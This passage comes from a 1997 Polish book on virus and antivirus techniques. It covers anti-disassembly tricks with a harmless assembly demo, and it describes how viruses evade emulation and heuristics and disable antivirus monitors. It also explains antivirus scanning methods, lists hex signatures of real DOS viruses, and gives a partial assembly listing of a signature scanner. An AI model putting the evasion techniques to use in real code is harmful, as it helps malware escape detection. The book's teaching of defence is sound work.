programu tak, iż staje się on chaotyczny, nieczytelny i na pozór bezsensowny (tak jak we wspomnianym we wstępie wirusie JUMP). Przykładem jest krótki programik wyświetlający po uruchomieniu komunikat Cześć!, a napisany tak, iż po jego deasemblacji (np. SOUR-CER-em) uzyskuje się chaotyczny listing (co ciekawe, podczas kilkakrotnych prób otrzymywane źródło nie było zawsze takie same). ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; ANTY_DEA v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Program demonstruje proste techniki antydeasemblerowe ; ; Po skompilowaniu mozna sprobowac deasemblowac kod tego ; ; programu przy uzyciu np. SOURCERa i porownac z oryginalnym ; ; zrodlem ; ; ; ; Kompilacja : ; ; TASM ANTY_DEA.ASM ; ; TLINK /t ANTY_DEA.OBJ ; ; ; ;----------------------------------------------------------------------------; ANTY_DEA SEGMENT ASSUME CS:ANTY_DEA, DS:ANTY_DEA ORG 100h Start: ; poczatek programu sub bp,bp ; zeruj rejestr BP lea dx,[bp+offset TxCzesc] ; dostep do danych poprzez ; adresowanie typowo uzywane ; przy operacjach na stosie ; deasembler moze nie zauwazyc ; ze chodzi o zwykly ofset ; do tekstu jmp $+4 ; przeskocz bajt 0EAh ; i wskocz w drugi bajt ; rozkazu ADD, czyli ; przejdz do rozkazu ; jmp Koniec ; (ukrytego w kodzie rozkazu ADD) db 0EAh ; symuluj wywolanie ; dalekiej procedury ; o kodzie EA OO OO SS SS, gdzie ; SS SS : Seg, OO OO : ofs ; mozliwe, ze deasembler pobierze ; dwuslowo i zamieni je ; na SS SS : OO OO ; i nie wykryje ani ADD, ani JMP add ax,0EBh+256*(offset Koniec-$-3) ; kod tego rozkazu ; to db 05 ; db EB ; db (offset Koniec-$-3) ; od drugiego bajtu rozpoczyna sie ; kod rozkazu Jmp Koniec (EB,??) TxCzesc db 0Dh,0Ah,'Czesc!',0Dh,0Ah,'$' ; tekst w srodku kodu; ; istnieje szansa, ze ; deasembler zacznie ; go interpretowac jako kod db 0EAh ; ta sama sztuczka co powyzej; ; symulacja wywolania dalekiej ; procedury Koniec: ; tu dotrze program omijajac tekst jmp $+3 ; przeskocz bajt 0EAh db 0EAh ; ta sama sztuczka co powyzej; ; symulacja wywolania dalekie ; procedury CALL FAR ; ponizsza sekwencja mov ah,9/ ; int 21h jest 4 bajtowa i jest ; calkowicie "pochlonieta" przez ; symulowany rozkaz CALL FAR mov ah,9 ; funkcja DOS - wyswietl tekst$ int 21h ; wywolaj funkcje DOS ret ; powrot do PSP:0000h, ; gdzie znajduje sie kod Int 20h, ; czyli koncz program ANTY_DEA ENDS END Start Ze względu na fakt, iż większość obecnie istniejących programów antywirusowych stosuje tryb krokowy lub też emulację procesora do wykrywania wirusów polimorficznych, twórcy wirusów starają się w jakiś sposób utrudnić wykrywanie wirusów tymi metodami. Specjalnie w tym celu do procedury dekodera, tworzonej przez poli-morficzny generator, dodaje się wywołania różnych, występujących typowo w zwykłym oprogramowaniu, funkcji przerwań 10h, 21h, 16h i innych, a także umieszcza się w niej wywołania procedur. Ciekawym zabiegiem antyemulacyjnym są też próby nadania dekoderowi wyglądu programu napisanego w językach wysokiego poziomu (posiadają one charakterystyczne sekwencje kodu na początku programu), bądź też nadanie plikowi cech np. wewnętrznie spakowanego programu (np. dodanie sygnatur PKLITE, LZEXE lub innych). Po wykryciu wywołania pewnej ilości funkcji obsługiwanych przez przerwania programowe, próbujący wgryźć się w kod wirusa program antywirusowy zwykle przerywa dalsze poszukiwania i pozostawia plik bez zmian. Ze względu na stosowanie przez programy antywirusowe heurysty-cznego wykrywania wirusów, nowsze wirusy potrafią już poradzić sobie z tego typu metodami, poprzez odpowiednią manipulację kodem, np. tradycjną sekwencję: CMP AX,4B00h mo¬na zakodowaŠ w wirusie jako: ADD AX,1234h CMP AX,4B00h+1234h lub XCHG AX,CX CMP AX,4B00h XCHG AX,CX lub na inną, gdyż możliwości jest tu w zasadzie nieskończenie wiele. Gdy podobną operację wykona się dla większości zawartych w wirusie instrukcji, program antywirusowy będzie miał spore kłopoty z rozpoznaniem intruza. 9.3. Optymalizacje kodu Jak wspomniano na początku, wirus powinien być maksymalnie krótki i zwięzły, tak więc autorom wirusów zwykle zależy na minimalizacji kodu wirusa, bez utracenia jego funkcjonalności. W tym celu stosuje się różne rozwiązania polegające na odpowiednim kodowaniu różnych instrukcji, które - mimo, że krótsze od normal- nie przeznaczonych do danego celu rozkazów - zachowują ich funkcjonalność. Poniższe przykłady ilustrują najbardziej znane i proste optymalizacje kodu: XOR REJ16,REJ16 ; zeruj rejestr 16-bitowy za pomoce 2-bajtowego ; rozkazu (zamiast 3-bajtowego rozkazu MOV REJ16,0) XOR AX,AX ; zeruj rejestry DX:AX za pomoc¦ dwˇch rozkazˇw CWD ; zajmuj¦cych razem 3 bajty (zamiast 4 lub 6 bajtˇw) XCHG AX,REJ16 ; przenieť zawartoťŠ rejestru AX do innego rejestru ; 16-bitowego zamiast 2-bajtowej instrukcji MOV BX,AX ; (mo¬na u¬ywaŠ tylko w niektˇrych sytuacjach) INC REJ16 ; dwie 1-bajtowe instrukcje INC INC REJ16 ; zamiast jednej 3-bajtowej instrukcji ADD REJ16,2 ; analogicznie dla rozkazu SUB REJ16,2 ; 2xDEC 9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi Większość z nowoczesnych wirusów w aktywny sposób stara się walczyć z zainstalowanym oprogramowaniem antywirusowym. Wirusy kasują więc pliki z sumami kontrolnymi, modyfikują znalezione w pamięci programy antywirusowe, tak aby nie były one aktywne, lub nawet deinstalują je całkowicie z pamięci w sposób niewidoczny dla użytkownika. Co ciekawe, większość monitorów antywirusowych, zawierających wyrafinowane metody wykrywania niebezpiecznych odwołań do plików czy sektorów, nie przykłada żadnej wagi do ochrony własnego kodu. W kolejnych wersjach programy te mają schematyczną budo' we, a korzystające z tego wirusy potrafią wykryć odpowiednią sekwencję w pamięci i zmienić ją tak, iż program, mimo że jest zainstalowany, nie działa tak, jak powinien. Najbardziej jaskrawym tego przykładem jest chyba modyfikacja parametrów wejściowych programu antywirusowego, który po uruchomieniu wyświetla swój status, zawierający użyty przez wirusa parametr. Dodawane przez wirusy parametry najczęściej wyłączają bezpośredni dostęp do dysków, przeszukiwanie pamięci itp. Aby uniemożliwić użytkownikowi zauważenie wprowadzonych w parametrach zmian, wirusy zmieniają odpowiedni łańcuch bezpośrednio w pamięci ekranu, tak iż odbiorca (użytkownik programu) patrząc na ekran jest przekonany o poprawnym działaniu programu, mimo że ten ma zablokowane funkcje, które prawdopodobnie pomogłyby wykryć wirusa. We wspomnianych we wstępie zinach, dotyczących programowania wirusów, znaleźć można artykuły, które bardzo dokładnie opisują sposoby łamania najbardziej znanych na świecie programów antywirusowych (w artykułach tych najczęściej mówi się o serii zaawansowanych programów antywirusowych ThunderByte autorstwa Fransa Veldmana). W najbliższych latach spodziewać się można powstania zupełnie nowych odmian wirusów, które wykorzystywać będą nie znane nam aktualnie mechanizmy. Poniżej przedstawiono krótki przegląd przewidywanych przez większość znawców wirusów trendów rozwojowych progamowania wirusów. Ze względu jednak na charakter rozdziału oraz na wątpliwą wiarygodność różnego rodzaju przepowiedni, zalecam czytelnikowi podejście do tego tekstu z odrobiną sceptycyzmu. ROZDZIAŁ 10 10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses) Jednym z zadań, jakie stawiają sobie obecnie twórcy wirusów, jest stworzenie wirusa, który mógłby egzystować w jak największej ilości systemów operacyjnych (w tym także sieciowych). Wirus taki powinien infekować wszystkie możliwe do zarażenia obiekty, a także w miarę możliwości przenosić się w sieci, wykorzystując protokoły transmisji sieciowej. Wydaje się, iż ze względu na różnice występujące pomiędzy różnymi komputerami i systemami operacyjnymi, najniższym poziomem, na jakim będzie mógł pracować taki wirus, będzie jakiś język programowania wysokiego poziomu, najpewniej C lub podobny. Odpowiedni może okazać się stale rozwijany, dość popularny język JAVA, masowo wykorzystywany w sieci Intemet. Poprzez zawarte w nim mechanizmy można będzie zapewne stworzyć wirusa, który będzie się przemieszczał bez większych trudności po całej sieci Internet. Idea stworzenia wirusa działającego na różnych komputerach nie jest wcale tak odległa, jak można by sądzić po przeczytaniu powyższego tekstu. Prawdziwą niespodzianką jest fakt, iż pierwsze wirusy niezależne sprzętowo już istnieją i są to... makrowirusy, które radzą sobie zarówno na komputerach klasy PC, jak i Macintosh, 10.2. Wirusy infekujące wewnątrzplikowo (ang. surface infectors) Większość obecnie istniejących wirusów infekując pliki używa standardowego schematu, polegającego na doczepianiu się na końcu zarażanego pliku i odpowiedniej modyfikacji jego nagłówka. Zarażanie wewnątrzplikowe polega na próbie odnalezienia i wykorzystania w zarażanym pliku miejsca, które można byłoby wykorzystać na umieszczenie przyszłego wirusa. Możliwe byłoby nawet rozrzucenie kodu wirusa po pliku ofiary, tak iż poszczególne części kodu byłyby od siebie oddzielone. Ponadto, gdyby wirus tego typu był polimorfi-czny, znalezienie jego kodu wewnątrz ofiary byłoby podwójnie utrudnione. Mimo że już wielokrotnie podejmowano próby napisania takiego wirusa, nieliczne istniejące egzemplarze są jeszcze bardzo prymitywne. 10.3. Wirusy zmienne genetycznie (mutujące swój kod) W kilku artykułach dostępnych w sieci Internet ich autorzy rozważają możliwość stworzenia wirusa, który w kolejnych zarażanych ofiarach wyglądałby inaczej, jednak kolejne generacje nie byłyby tworzone przy użyciu polimorficznego generatora zmiennych procedur szyfrujących, a zasada tworzenia nowych mutacji własnego kodu polegałaby na manipulowaniu instrukcjami kodu maszynowego tak, aby zachowana została funkcjonalność kodu, lecz kod ten sukcesywnie by się zmieniał (podobnie jak kod odporny na heurystykę, jednak tutaj zabieg ten byłby wykonywany dla każdej instrukcji). Można by powiedzieć, iż wirus taki posiadałby swoistą tożsamość, objawiającą się tym, iż wiedziałby, co ma robić i na bazie jakiegoś generatora tworzyłby swą nową kopię, przemieszczając odpowiednie fragmenty ko du, symulując jedną instrukcję za pomocą kilku itp. Na razie jednak zadanie to przekracza chyba umiejętności nawet najlepszych twórców wirusów, choć niewykluczone, iż dzieło takie wkrótce się pojawi. 10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty Jak udowodniły makrowirusy plików DOC czy XLS, ciągle można znaleźć jakąś nową platformę, dotąd nie zajętą przez wirusy. Ze względu na zmierzch systemu DOS znawcy wirusów przewidują, iż za kolejny cel twórcy wirusów obiorą sobie inne popularne systemy, zwłaszcza system Windows 95 oraz, w mniejszym stopniu, Unix (zwłaszcza Linux), OS/2 lub Windows NT. Już dziś można znaleźć okazy wirusów infekujących np. system Windows 95, Linux, OS/2 i, co ciekawe, są one napisane w... czystym asemblerze (nawet w przypadku Linuxa). Popularność środowiska Windows 95 powoduje, iż za możliwe obiekty ataku można uznać większość plików używanych przez ten system, które zawierają jakieś przydatne wirusom struktury danych lub też oferują jakiś możliwy do wykorzystania mechanizm. Są to głównie pliki z kodem np. DLL, VXD, MPD, PDR, DRV, 386 oraz pliki grup i skrótów: GRP i LNK, przy pomocy których można stworzyć kolejne warianty wirusów towarzyszących. Ze względu na strukturę plików przeznaczonych dla Windows 95 (pliki nowe EXE o nagłówku PE) możliwe jest także zastosowanie zmiennych procedur szyfrujących do lepszego ukrycia wirusa. ROZDZIAŁ 11 11.1. Skanery (ang. scaners) Najstarszym rodzajem programów antywirusowych są skanery. Ich działanie polega na wyszukiwaniu zadanej sekwencji bajtów w ciągu danych. W większości wirusów daje się znaleźć unikalną sekwencję bajtów (tzw. sygnaturę), dzięki której możliwe jest odnalezienie wirusa w pamięci lub w zarażonej ofierze. Skuteczność skanera zależy od tego, jak bardzo charakterystyczna jest dana sekwencja. Najlepiej, jeżeli wirus zawiera w sobie jakiś niekonwencjonalny napis lub specyficzny ciąg bajtów (np. jakąś procedurę demonstracyjną). Wraz z pojawieniem się wirusów polimorficznych znaczenie skanerów trochę zmalało, jednak nadal jest to najważniejsza metoda walki z wirusami. Nawet w przypadku wirusów polimorficznych używa się skanera, choć dopiero w późniejszej fazie wykrywania (np. po krokowym lub emulowanym przejściu początku programu), co świadczy o uniwersalności tej metody. 11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors) Monitor to program antywirusowy zainstalowany jako TSR lub sterownik SYS, który poprzez monitorowanie odpowiednich funkcji DOS i BIOS pozwala na wykrywanie wszystkich wykonywanych za pomocą tych funkcji odwołań do dysków. Większość tego typu programów posiada także mechanizmy pozwalające na sprawdzanie, czy wykonywany proces nie ingeruje w jakieś systemowe struktury danych, np. bloki MCB lub tablicę wektorów przerwań. To, czy monitor będzie działał prawidłowo, zależy często od momentu, w którym przejął on kontrolę nad systemem (przed czy po wirusie) oraz od tego, jak głęboko wnika on w system operacyjny (kontrola funkcji wykorzystywanych przez wirusy jest przeprowadzana na początku łańcucha obsługi przerwań lub też na jego końcach). Jak widać, aby dotrzymać kroku twórcom wirusów, autorzy programów antywirusowych muszą korzystać z metod podobnych do tych, które stosują twórcy wirusów. Największą wadą monitorów jest to, iż powodują one częste fałszywe alarmy (ang. false positives), przez co użytkownik po kolejnym irytującym potwierdzeniu jakiejś zwykłej operacji dyskowej staje się mniej uważny, a czasami wręcz deinstaluje program antywirusowy z pamięci. 11.3. Szczepionki (ang. disinfectors) Szczepionki są programami skierowanymi przeciwko konkretnym wirusom. Na podstawie posiadanego, złapanego egzemplarza wirusa można, po odpowiedniej analizie jego kodu, zdefiniować sygnatury, na podstawie których wykrywa się kopie wirusa w zainfekowanych obiektach. Dokładna analiza kodu wirusa najczęściej pozwala także odnaleźć w nim oryginalne wartości pewnych parametrów, które mogą posłużyć do wyleczenia sektorów lub plików (np. dla plików typu EXE jest to punkt wejścia do oryginalnego programu, dla plików COM - początkowe bajty programu). Większość z istniejących szczepionek to rozbudowane programy z interfejsem, które potrafią wykryć i usunąć kilka tysięcy wirusów. Tylko w przypadkach nowych wirusów niektóre osoby, zmuszone okolicznościami, same piszą szczepionkę skierowaną przeciwko konkretnemu wirusowi, czego efektem z reguły jest nie do końca przetestowany, ale działający program. 11.4. Programy autoweryfikujące Programy tego typu umożliwiają dodanie do wskazanego pliku krótkiego programu, mającego na celu sprawdzenia przy każdym uruchomienie, czy dany program nie został w jakiś sposób zmieniony (co zwykle oznacza ingerencję wirusa). Dodawany kod dopisuje się do pliku wykorzystując te same mechanizmy co wirusy. Najczęściej programy tego rodzaju są nieodporne na technikę stealth i w systemie zainfekowanym przez wirusa używającego tej sztuczki nie wykażą żadnej zmiany w pliku, mimo że jest on zainfekowany. 11.5. Programy zliczające sumy kontrolne (ang. integrity checkers) Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z poprzednio zachowaną. Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Dzięki znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez większych problemów można zastąpić pierwotną, przechowywaną w pliku. Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi. ROZDZIAŁ 12 12.1. Skaning Historycznie jest to najstarsza technika stosowana przez programy antywirusowe. Skaning polega na wyszukiwaniu w zainfekowanym obiekcie zadanej sekwencji bajtów (sygnatury wirusa). Poniżej przedstawiono kilka przykładowych sygnatur istniejących wirusów: B8 ED FE CD 21 A3 03 01 0E 8F 06 6F 01 BA ; sygnatura wirusa Atomie 1.0 BE 30 01 8B 16 17 01 B9 35 01 2E 31 14 83 ; sygnatura wirusa Human Greed 8B FC 36 8B 2D 81 ED 03 01 44 44 1E 06 OE ; sygnatura wirusa DOOM! 5D 83 ED 03 E8 15 00 EB 27 90 E8 OF 00 B4 ; sygnatura wirusa Ethernity 5D 81 ED 03 01 EB 1B 90 B8 24 35 CD 21 ; sygnatura wirusa OLG Jak widać, tradycyjna sygnatura jest to ciąg bajtów o nieustalonej z góry długości, zapisanych heksalnie, które program antywirusowy konwertuje na rozumianą przez siebie postać binarną (maszynową) i dopiero taki łańcuch poszukiwany jest w przeszukiwanym obiekcie. Z czasem pojęcie sygnatury rozszerzono. Dzisiejsze skanery potrafią interpretować różne symbole oraz znaki globalne (ang. wildcards) np. ? czy *. Poniżej podano przykłady kilku prostych, nieznacznie rozszerzonych sygnatur używających znaków globalnych: BB ?2 B9 10 01 81 37 ?2 81 77 02 ?2 83 C3 04 E2 F2 ; sygnatura wirusa FireFly B9 CC 01 BB ?2 2E 81 07 ?2 83 C3 02 ; sygnatura wirusa K-CMOS 1E 06 OE OE 1F 07 2E FE 06 ?2 2E A1 ; sygnatura wirusa Geodesic Propagation 33 CO 8E D8 BE ?2 FF 34 FF 74 02 C7 04 ; sygnatura wirusa 1984 Poniżej zamieszczono listing programu, który umożliwia wyszukiwanie zadanego ciągu bajtów w podanym jako parametr pliku. Zadany ciąg bajtów może być podany Jako łańcuch w apostrofach lub jako zapisane heksalnie dane (możliwa jest także kombinacja podanych metod). ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; SKANER v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Program sluzy do przeszukiwania plikow w celu znalezienia zadanego ; ; lancucha bajtow (np. stalej sygnatury wirusa) podanego jako parametr ; ; przy wywolaniu programu. ; ; ; ;----------------------------------------------------------------------------; ; DANE TECHNICZNE ; ;----------------------------------------------------------------------------; ; ; ; _ Wywolanie: SKANER NazwaPliku CiagBajtow ; ; _ Ciag moze skladac sie z liczb zapisanych heksalnie lub zwyklego tekstu ; ; np: ; ; _ CD 21 - szuka wywolania przerwania 21h ; ; _ 'wirus' - szuka slowa "wirus" ; ; _ 'abc'80C5'def'EE F6 - szuka lancucha "abcă+def_¸" ; ; _ Maksymalna dlugosc wyszukiwanego ciagu = 128 bajtow. ; ; _ Dlugosc jednorazowo odczytywanych danych z pliku = 65024 bajtow ; ; 65024=512*127=127 sektorow, 512 bajtowych ; ; _ Maksymalna ilosc zliczanych wystapien ciagu = 2^32 razy ; ; _ Pliki z atrybutami Hidden, System przed odczytem maja zmieniany atrybut ; ; na Archive; po skonczeniu programu przywracany jest oryginalny atrybut ; ; _ Procedura obslugi INT 24h ; ; zastapiona zostala sekwencja sygnalizujaca blad programowi ; ; _ Wyszukiwane sa wszystkie mozliwe wystapenia ciagu ; ; (takze zachodzace na siebie) ; ; ; ;----------------------------------------------------------------------------; ;------------------------------------------------------------------- ; Definicje Stalych ;------------------------------------------------------------------- JUMPS ;stale logiczne Falsz equ 00h ; \ definicja dwoch stalych logicznych Prawda equ Falsz+1 ; / 0=Falsz i 1=Prawda ; stale ogolne RozmiarStosu equ 128 ; rozmiar stosu w slowach dwubajtowych RozmiarCiagu equ 128 ; rozmiar bufora na wyszukiwany ciag RozmiarBuforaDanych equ 127*512 ; rozmiar bufora na dane = segment 64K-512 DlugNazwyPliku equ 128 ; dlugosc pelnej nazwy pliku LiniaPolecen equ 80h ; adres (w PSP) do parametrow ; stale znakowe ZnakTabulacji equ 09h ; \ ZnakSpacji equ ' ' ; \ ZnakKoncaLinii equ 0Dh ; - stale znakowe CR equ 0Dh ; / LF equ 0Ah ; / ; stale bledow ; na ich podstawie nastepuje obliczenie ofsetu komunikatu o bledzie BlBezBledu equ 00h ; nie ma bledu BlBrakParametrow equ 01h ; blad : nie ma parametrow BlBrakNazwyPliku equ 02h ; blad : brak nazwy pliku w parametrach BlBrakCiagu equ 03h ; blad : brak ciagu do wyszukania BlZlyCiag equ 04h ; blad : ciag zawiera bledy BlBrakPlikuNaDysku equ 05h ; blad : brak pliku podanego jako parametr BlBlad_ARIF equ 06h ; blad : brak dostepu do pliku (int 24h) BlZlyAtrybutPliku equ 07h ; blad : nie plik tylko etykieta dysku lub katalog BlBrakDostepuDoPliku equ 08h ; blad : nie mozna zmienic atrybutow na archive BlNieMogeOtworzyc equ 09h ; blad : nie moge otworzyc pliku BlNieMogeCzytac equ 0Ah ; blad : nie moge czytac pliku BlNieMogeZamknac equ 0Bh ; blad : nie moge zamknac pliku BlPlikZaKrotki equ 0Ch ; blad : plik krotszy niz dlugosc ciagu ; stale drukowania wrostkow ; 7 bit=1 wywolaj procedure konwersji, ktorej adres w [si+1] ; 7 bit=0 wyswietl tekst, ktorego adres jest pod [si+1] DrPlik equ 01h ; stala dla wrostka NazwaPliku DrCiag equ 02h ; stala dla wrostka Ciag DrUnIntDec equ 83h ; stala dla wrostka - liczby bez znaku typu Int (dziesietne) DrUnIntHex equ 84h ; stala dla wrostka - liczby bez znaku typu Int (szesnastkowo) IleWrostkow equ 04h ; ile maksymalnie wrostkow ; stale DOS-owe TrybOtwarciaPliku equ 00000000b ; oznacza otwarcie pliku tylko do odczytu AtReadOnly equ 00000001b ;\ AtHidden equ 00000010b ; \ AtSystem equ 00000100b ; \ AtVolumeID equ 00001000b ; - atrybuty pozycji katalogu AtDirectory equ 00010000b ; / AtArchive equ 00100000b ; / AtAll equ 00111111b ; / ; definicja bufora DTA (Disk Transfer Area) DTA_STRUC struc ; struktura potrzebna dla funkcji NieWazne db 21 dup(?) ; 4E i 4F sluzacych do poszukiwania Atrybut db ? ; pierwszego (4E) i nastepnego (4F) Czas dw ? ; wystapienia w katalogu (pliku, katalogu,itp.) Data dw ? ; opisuje wszystkie parametry pliku Dlugosc dd ? ; zawarte w FAT z wyjatkiem pierwszego numeru JAP Nazwa db 13 dup(?) DTA_STRUC ends ;------------------------------------------------------------------- ; Segment Kodu ;------------------------------------------------------------------- SKANER SEGMENT ASSUME CS:SKANER, ds:SKANER Start: ; poczatek programu Call UstawParametrySystemu ; ustaw DS+nowe (DTA i int 24h) mov si,Offset TeCopyRight ; Call DrukLn ; wyswietl komunikat o programie Call CzytajParametry ; Wez z PSP:80h parametry : Plik+Ciag jc Blad ; gdy CF=1, to blad Call SprawdzPlik ; czy plik istnieje ? jc blad Call SzukajLancuch ; Szukaj lancucha w pliku jc Blad mov NumerBledu,BlBezBledu ; wszystko OK ! Blad: ; skacz tu, jesli jakis blad Call PrzywrocParametrySystemu ; stare DTA+INT 24h Call OstatniKomunikat ; zwraca 0=bez bledu lub FF=blad mov ah, 4Ch ; funkcja powrotu do systemu DOS int 21h ; wywolaj funkcje ;------------------------------------------------------------------- OstatniKomunikat proc near ; wyswietla komunikat na koncu programu pushf ; zachowaj znaczniki, potrzebne pozniej mov ax,seg SKANER mov ds,ax ; DS=segment danych mov al, NumerBledu ; al=numer bledu cbw ; ax=numer bledu shl ax,1 ; ax=ax*2, bo kazdy ofset=2 bajty add ax,Offset OffsetyKomunikatow ; ax=tablica z adresami komunikatow bledow xchg ax,bx ; bx=tablica z adresami komunikatow bledow ; [bx]=tablica[blad] mov si,[bx] ; dx=offset do komunikatu o bledzie (lub 'OK') Call DrukLn ; wypisz komunikat popf ; przywroc znaczniki mov al,0 ; w al przekaz kod bledu, 0=bez bledu sbb al,0 ; jezeli blad, to al=FF ret OstatniKomunikat endp ;------------------------------------------------------------------- SzukajLancuch proc near ; otwiera plik i szuka zadany ciag ; w calym pliku mov ax,seg ProgDTA ; ustaw ES na segment, do ktorego beda mov es,ax ; wczytywane dane =127 sektorow mov ax,word ptr [BufDTA.Dlugosc] ; -DX:AX = dlugosc pliku mov dx,word ptr [BufDTA.Dlugosc+2] ; / or dx,dx ; czy b. znacz. czesc dlugosci =0 jnz DlugiPlik ; nie -> dlugosc<>0 cmp ax,DlugoscCiagu ; b. znacz. czesc=0, czy mniej znacz. czesc jae DlugiPlik ; dlugosci > dlugosc ciagu mov NumerBledu,BlPlikZaKrotki ; Blad : plik krotszy od ciagu ! jmp short NieMogeOtworzyc ; wyswietl blad DlugiPlik: mov si,offset TeSzukamCiagu ; wyswietl informacje o szukaniu Call DrukLn ; lancuchu w pliku mov NumerBledu,BlNieMogeOtworzyc ; ewentualny numer bledu mov dx,Offset NazwaPliku ; nazwa pliku w DS:DX, tryb dostepu w AL mov ax,3D00h+TrybOtwarciaPliku ; funkcja DOS - otworz plik int 21h ; DOS : otworz plik jc NieMogeOtworzyc ; CF=1 -> blad xchg ax,bx ; BX=uchwyt pliku Call CzytajSzukaj ; szukaj lancucha w calym pliku jc NieMogeOtworzyc mov ah,3Eh ; zamknij plik int 21h ; mov ax,word ptr [IleZnalezionych] ; wyswietl, ile razy ciag mov dx,word ptr [IleZnalezionych+2] ; wystapil w pliku mov si, offset TeZnalazlem or dx,dx ; \ sprawdz, czy przynajmniej jnz CosZnalazl ; \ raz, jak ani razu to or ax,ax ; / inny komunikat jnz CosZnalazl ; / mov si, offset TeNieZnalazlem CosZnalazl: Call DrukLn ; wyswietl komunikat spod DS:SI clc ; nie ma bledu NieMogeOtworzyc: ret ; powrot z procedury SzukajLancuch endp ;------------------------------------------------------------------- CzytajSzukaj proc near ; czytaj w pliku i szukaj lancuch ; na wejsciu numer pliku w BX xor ax,ax ; \ mov word ptr [IleZnalezionych] ,ax ; \ mov word ptr [IleZnalezionych+2],ax ; - wyzeruj zmienne mov word ptr [AdresCzytania],ax ; / mov word ptr [AdresCzytania+2],ax ; / mov NumerBledu,BlNieMogeCzytac ; ewent. blad xor bp,bp ; BP oznacza odstep od poczatku bufora, ; pod ktory wczytujemy dane, na poczatku=0 dec DlugoscCiagu ; zmniejsz o 1 dlugosc ciagu potrzebne ; w pozniejszej operacji porownania cld ; w oper. lancuchowych INC(SI,DI) CzytajDoBufora: ; petla glowna push ds ; zachowaj DS na stosie mov ax,es mov ds,ax ; DS=ES=segment na dane z pliku mov cx,RozmiarBuforaDanych ; ile czytac danych mov dx,offset BuforDanych ; DS:DX = tu wczytuj dane add dx,bp ; dodaj dlug. danych, ktore zostaly z poprz. odczytu mov ah,3Fh ; DOS : funkcja czytania int 21h ; DOS : wykonaj funkcje pop ds ; przywroc DS jc NieMogeCzytac ; gdy CF=1, to blad add word ptr [AdresCzytania],ax ; \dodaj do pozycji odczytu ilosc adc word ptr [AdresCzytania+2],0 ; /odczytanaych bajtow mov [Przeczytane],ax add ax,bp ; \do ilosci odczytanych bajtow dodaj dlugosc danych ; /pozostalych z poprzedniego odczytu cmp ax,DlugoscCiagu ; \ ax=dlugosc danych do porownania jb KoniecPliku ; - jesli mniej niz ciag, to nie trzeba porownywac ; / bo i tak ciag sie nie znajdzie xchg ax,cx ; cx=dlugosc danych do porownania push cx ; zachowaj do pozniejszego porownania mov di,offset BuforDanych ; poczatek danych SzukajPierwszej: mov si,Offset Ciag ; ofset do wyszukiwanego ciagu lodsb ; al=pierwsza litera ciagu, INC(SI) repnz scasb ; szukaj, az znajdzie w danych pierwsza litere jnz NieMaPierwszej ; jesli nie znalazl, to czytaj dalej z pliku cmp cx,DlugoscCiagu ; czy wystarczy danych w buforze do porownania ? jae PorownajCaly ; jest co najmniej tyle lub wiecej to OK inc cx ; - za malo danych dec di ; - cofnij DI,CX na poprzednie wartosci mov si,di ; - skopiuj koncowke bufora na poczatek mov di,offset BuforDanych ; - zachowaj w BP dlugosc tej koncowki mov bp,cx ; - w nastepnym odczycie dane wczytane rep movs byte ptr es:[di],es:[si] ; - umieszczone beda za ta koncowka jmp short NieMaPierwszej ; - a porownywanie sie powtorzy, ale teraz beda dane PorownajCaly: ; - do porownania, po skoku czytaj dalej dane push cx ; push di ; zachowaj aktualna pozycje w buforze i licznik mov cx,DlugoscCiagu ; dokladniej : dlugosc ciagu-1 bo nie musimy porownywac ; pierwszej litery, ktora juz byla sprawdzona jcxz JednoLiterowy ; jesli CX=0, to ciag byl jednoliterowy rep cmpsb ; porownaj cx bajtow jne NieMaLancucha ; jesli ZF=0, nie znalazl ciagu JednoLiterowy: mov ax,word ptr [AdresCzytania] ; DX:AX=32 bitowa pozycja odczytu pliku mov dx,word ptr [AdresCzytania+2] sub ax,[Przeczytane] sbb dx,0 sub ax,bp sbb dx,0 pop di ; przywroc odleglosc od poczatku bufora push di ; zachowaj di dec di ; zmniejsz wskaznik, zeby wskazywal na pierwsza litere add ax,di adc dx,0 ; dodawanie 32 bitowe ; DX:AX = adres fizyczny wzgledem pocz. pliku mov word ptr [AdresZnalezienia],ax ; -zapamietaj ten adres w zmiennej, bo procedura mov word ptr [AdresZnalezienia+2],dx; /konwersji korzysta z ofsetu do zmiennej, zeby ja wyswietlic mov si,offset TeZnalezionyNaPozycji ; -wyswietl tekst ze znalazl Call DrukLn ; /adres : wyswietl szesnastkowo i dziesiatkowo add word ptr [IleZnalezionych],1 ; -zwieksz 32 bitowy licznik wystapien adc word ptr [IleZnalezionych+2],0 ; /dodaj ewentualne przeniesienie z 15 na 16 bit NieMaLancucha: pop di ; pop cx ; przywroc aktualna pozycje w buforze+licznik jcxz NieMaPierwszej ; czy juz caly bufor pusty ? ; xor bp,bp ; zeruj dlugosc koncowki jmp short SzukajPierwszej ; skocz i szukaj nastepnego wystapienia NieMaPierwszej: pop ax ; zdejmij ilosc odczytanych danych ze stosu cmp ax,RozmiarBuforaDanych ; i porownaj, czy tyle ile bylo wczytywanych jb KoniecPliku ; jesli nie tyle samo, to koniec pliku ; jesli tyle samo, to czytaj dalej jmp CzytajDoBufora ; skocz i czytaj dalej dane KoniecPliku: ; dane sie skonczyly clc ; nie ma bledu NieMogeCzytac: ret ; wroc z procedury CzytajSzukaj endp ;------------------------------------------------------------------- 